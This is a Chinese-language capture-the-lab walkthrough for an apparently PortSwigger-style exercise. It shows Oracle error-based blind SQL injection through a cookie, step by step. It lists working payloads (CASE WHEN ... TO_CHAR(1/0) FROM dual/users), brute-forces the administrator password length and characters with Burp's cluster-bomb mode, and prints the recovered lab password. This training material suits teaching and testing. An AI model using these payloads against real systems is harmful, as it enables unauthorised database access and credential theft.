第十二关 带有条件错误的盲 SQL 注入
这一关就是基于报错信息的sql盲注,通过触发报错信息来利用SQL 盲注来找出管理员密码
靶场提示:1、靶场存在SQL盲注,注入点在cookie
2、不会返回sql查询的结果,只显示SQL查询导致错误的报错信息页面
3、有数据库表users,字段列是username和password,管理员administrator
具体操作:
1、找到对应的数据包发往repeater(具体操作和第十一关一样)
2、检测一下有没有存在注入
加单引号报错

加两个单引号,形成闭合报错消失,这说明是语法错误,未闭合的引号也是对响应产生了可检测的影响。

所以上面检测存在注入
3、测试存在sql注入漏洞
插入检测sql语句:
'||(SELECT '')||'
报错,存在sql注入漏洞

在靶场提示中找到oracle的数据库的检测sql注入的语句复制过来修改下,指定一个可预测存在的表:
这里的dual是oracle的内置表
'||(SELECT '' FROM dual)||'
没有报错,说明使用的是oracle数据库

4、知道了是oracle数据库,检测下这个oracle数据库的users表确定存在吗
插入SQL语句
WHERE ROWNUM = 1:这是 **Oracle 数据库特有的语法,表示“只返回结果集中的第一行”。
'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
页面没有报错,说明 users表存在,注入语句执行无误

5、通过制造数据库报错(1/0),来验证SQL注入点是否存在和可利用
插入的SQL语句
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
简单点讲就是条件为真执行then后面的语句,否则执行else,查询数据来自dual表
dual:是oracle数据库的内置表,经常用来做测试或返回表达式计算结果。
CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END 这是一个条件判断语句
WHEN (1=1):条件恒为真
THEN TO_CHAR(1/0):如果条件成立,执行TO_CHAR(1/0)
TO_CHAR(1/0) 是把1/0转为字符串,但1/0会发生除零错误,数据库会抛出异常
ELSE '':如果条件不成立,返回空字符串(不过这里1=1恒成立,这里永远不会执行)
用1=1页面报错,存在sql注入点,这个注入点有效可以利用

6、再用 1=2的payload不会报错,说明条件没触发,页面正常
这是用来做SQL注入测试时的“对照组”payload。
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
解释:1=2条件为假,不执行then后面的语句,执行else后面的''这个空字符串,查询数据来自dual表
页面正常

7、确定管理员存在
插入SQL语句判断
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
解释:条件1=1为真,执行then后面的报错语句,否则执行else,查询数据来自users表,查询条件是管理员的名字
页面报错,说明管理员存在

8、知道了users表,用户名和密码两个字段,管理员administrator,接下来去爆破管理员密码长度
插入sql语句
'||(SELECT CASE WHEN LENGTH(password)=1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
解释:条件是密码长度等于一个变量为真时,执行then后面的报错语句,否则执行else,数据查询来自users表,条件是管理员名
将长度设置为变量,进行爆破



注意可能一次爆破不成功
我这里爆破了3次才成功
显示20的长度就报错了,那么密码的长度为20

9、知道了密码长度,接下来爆破密码字符内容
使用集束炸弹模式进行爆破,将密码的长度和字符内容设置成变量
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
解释:如果条件从第一个开始截取一个字符等于字符内容a,执行then后面的报错语句,否则执行else,数据查询来自users表 ,查询条件是管理员名

设置第一个变量

设置第二个变量
提示给的范围是a~z,0~9

扫描完成后设置报错页面的关键字,方便查看

也可以直接搜索错误关键字

注意接下来要进行排序,再复制密码njdtkimu1cqgc5zjxz1q
密码:njdtkimu1cqgc5zjxz1q

10、利用爆破的密码进行登录
如图成功通关靶场
